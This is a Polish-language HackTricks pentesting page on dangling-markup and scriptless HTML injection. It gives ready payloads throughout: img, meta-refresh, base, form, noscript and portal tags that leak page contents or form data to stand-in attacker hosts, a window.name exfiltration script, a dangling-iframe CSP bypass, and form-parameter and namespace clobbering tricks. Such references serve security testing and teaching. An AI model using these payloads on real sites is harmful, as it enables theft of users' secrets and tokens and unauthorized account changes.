hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/README.md

14 KiB

Wiszący znacznik - Wstrzyknięcie HTML bez skryptów

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podsumowanie

Ta technika może być użyta do wydobycia informacji od użytkownika, gdy znaleziono wstrzyknięcie HTML. Jest to bardzo przydatne, jeśli nie znajdziesz sposobu na wykorzystanie XSS, ale możesz wstrzyknąć pewne znaczniki HTML.
Jest to również przydatne, jeśli jakiś sekret jest zapisany w postaci zwykłego tekstu w HTML i chcesz go wydobyć z klienta, lub jeśli chcesz wprowadzić w błąd wykonanie pewnego skryptu.

Kilka omawianych tutaj technik może być użytych do obejścia niektórych Polityk Bezpieczeństwa Zawartości poprzez wydobywanie informacji w nieoczekiwany sposób (znaczniki html, CSS, znaczniki http-meta, formularze, base...).

Główne Zastosowania

Kradzież tajemnic w postaci zwykłego tekstu

Jeśli wstrzykniesz <img src='http://evil.com/log.cgi? gdy strona jest ładowana, ofiara wyśle Ci cały kod między wstrzykniętym tagiem img a następnym cudzysłowiem w kodzie. Jeśli jakiś sekret znajduje się w tej części, go ukradniesz (możesz zrobić to samo używając podwójnego cudzysłowu, sprawdź, co może być bardziej interesujące do użycia).

Jeśli tag img jest zabroniony (np. z powodu CSP), możesz również użyć <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

Zauważ, że Chrome blokuje adresy URL HTTP zawierające "<" lub "\n", więc możesz spróbować innych schematów protokołów, takich jak "ftp".

Możesz także nadużyć CSS @import (wyśle cały kod do momentu znalezienia ";")

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

Możesz również użyć <table:

<table background='//your-collaborator-id.burpcollaborator.net?'

Możesz także wstawić tag <base. Wszystkie informacje zostaną wysłane do zamknięcia cytatu, ale wymaga to pewnej interakcji użytkownika (użytkownik musi kliknąć w jakiś link, ponieważ tag base zmieni domenę wskazywaną przez link):

<base target='        <--- Injected
steal me'<b>test</b>

Kradzież formularzy

<base href='http://evil.com/'>

Następnie formularze wysyłające dane do ścieżki (np. <form action='update_profile.php'>) będą wysyłać dane do złośliwej domeny.

Kradzież formularzy 2

Ustaw nagłówek formularza: <form action='http://evil.com/log_steal'> to nadpisze następny nagłówek formularza i wszystkie dane z formularza zostaną wysłane do atakującego.

Kradzież formularzy 3

Przycisk może zmienić adres URL, pod który zostaną wysłane informacje z formularza, za pomocą atrybutu "formaction":

<button name=xss type=submit formaction='https://google.com'>I get consumed!

Atakujący może użyć tego do kradzieży informacji.

Znajdź przykład tego ataku w tym opracowaniu.

Kradzież tajemnic w czystym tekście 2

Korzystając z najnowszej wymienionej techniki kradzieży formularzy (wstrzykiwanie nowego nagłówka formularza), można następnie wstrzyknąć nowe pole wprowadzania:

<input type='hidden' name='review_body' value="

i to pole wejściowe będzie zawierać całą zawartość między swoim podwójnym cudzysłowiem a następnym podwójnym cudzysłowiem w HTML. Ten atak łączy "Kradzież jasnych tekstowych sekretów" z "Kradzież formularzy2".

Możesz zrobić to samo wstrzykując formularz i znacznik <option>. Wszystkie dane do momentu znalezienia zamkniętego </option> zostaną wysłane:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

Wstrzykiwanie parametrów formularza

Możesz zmienić ścieżkę formularza i wstawić nowe wartości, aby wykonać nieoczekiwane działanie:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

Kradzież tajemnic w czystym tekście za pomocą noscript

<noscript></noscript> Jest to znacznik, którego zawartość będzie interpretowana, jeśli przeglądarka nie obsługuje JavaScript (możesz włączyć/wyłączyć JavaScript w Chrome w chrome://settings/content/javascript).

Sposobem na wyciek treści strony internetowej od punktu wstrzyknięcia do jej końca do witryny kontrolowanej przez atakującego będzie wstrzyknięcie tego:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

Ominięcie CSP za pomocą interakcji użytkownika

Z badaniami portswiggers można dowiedzieć się, że nawet w najbardziej ograniczonych CSP środowiskach nadal można wyciekać dane za pomocą interakcji użytkownika. W tym przypadku będziemy używać ładunku:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Zauważ, że poprosisz ofiarę, aby kliknęła w link, który ją przekieruje do payloadu kontrolowanego przez Ciebie. Zauważ również, że atrybut target wewnątrz tagu base będzie zawierał treść HTML do następnego pojedynczego cudzysłowu.
Spowoduje to, że wartość window.name po kliknięciu w link będzie całą tą treścią HTML. Dlatego, kontrolując stronę, do której ofiara uzyskuje dostęp poprzez kliknięcie w link, możesz uzyskać dostęp do window.name i wyciec te dane:

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

Fałszywy skryptowy przepływ pracy 1 - Atak na przestrzeń nazw HTML

Wstaw nowy tag z identyfikatorem wewnątrz HTML, który nadpisze następny i będzie miało wartość wpływającą na przepływ skryptu. W tym przykładzie wybierasz, z kim informacja będzie udostępniona:

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

Mylący skrypt 2 - Atak na przestrzeń nazw skryptu

Utwórz zmienne w przestrzeni nazw JavaScript poprzez wstawienie tagów HTML. Następnie ta zmienna wpłynie na przebieg aplikacji:

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

Nadużycie JSONP

Jeśli znajdziesz interfejs JSONP, możesz wywołać dowolną funkcję z dowolnymi danymi:

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

Możesz nawet spróbować wykonać pewien kod JavaScript:

<script src='/search?q=a&call=alert(1)'></script>

Nadużycie tagu Iframe

Dokument potomny ma zdolność do przeglądania i modyfikowania właściwości location swojego rodzica, nawet w sytuacjach międzydomenowych. Pozwala to na osadzenie skryptu wewnątrz tagu iframe, który może przekierować klienta na dowolną stronę:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

To można zniwelować używając czegoś takiego jak: sandbox=' allow-scripts allow-top-navigation'

Iframe może również zostać wykorzystany do wycieku poufnych informacji z innej strony korzystając z atrybutu nazwy iframe. Dzieje się tak, ponieważ można stworzyć iframe, który zagnieżdża sam siebie, wykorzystując wstrzyknięcie HTML, które sprawia, że poufne informacje pojawiają się w atrybucie nazwy iframe, a następnie uzyskać dostęp do tej nazwy z początkowego iframe i wyciec informacji.

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes

<meta nadużycie

Możesz użyć meta http-equiv do wykonania kilku działań takich jak ustawienie pliku Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1"> lub przekierowanie (w tym przypadku za 5s): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

Można to uniknąć za pomocą CSP dotyczącego http-equiv (Content-Security-Policy: default-src 'self';, lub Content-Security-Policy: http-equiv 'self';)

Nowy znacznik HTML <portal

Możesz znaleźć bardzo interesujące badania na temat podatności do wykorzystania znacznika <portal tutaj.
W chwili pisania tego tekstu musisz włączyć znacznik portal w Chrome pod adresem chrome://flags/#enable-portals, inaczej nie będzie działać.

<portal src='https://attacker-server?

Wycieki HTML

Nie wszystkie sposoby wycieku łączności w HTML będą przydatne dla Dangling Markup, ale czasami mogą pomóc. Sprawdź je tutaj: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

Wycieki SS

Jest to miks pomiędzy dangling markup i XS-Leaks. Z jednej strony podatność pozwala na wstrzyknięcie HTML (ale nie JS) na stronie tej samej domeny, którą będziemy atakować. Z drugiej strony nie będziemy atakować bezpośrednio strony, na której możemy wstrzyknąć HTML, ale innej strony.

{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}

XS-Search/XS-Leaks

XS-Search są skierowane na wyciek informacji między domenami poprzez nadużycie ataków kanałów bocznych. Dlatego jest to inna technika niż Dangling Markup, jednakże niektóre z technik nadużywają włączenia tagów HTML (z i bez wykonania JS), jak Wstrzykiwanie CSS lub Opóźnione Ładowanie Obrazów.

{% content-ref url="../xs-search/" %} xs-search {% endcontent-ref %}

Lista Wykrywania Ataków Brute-Force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}

Referencje

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: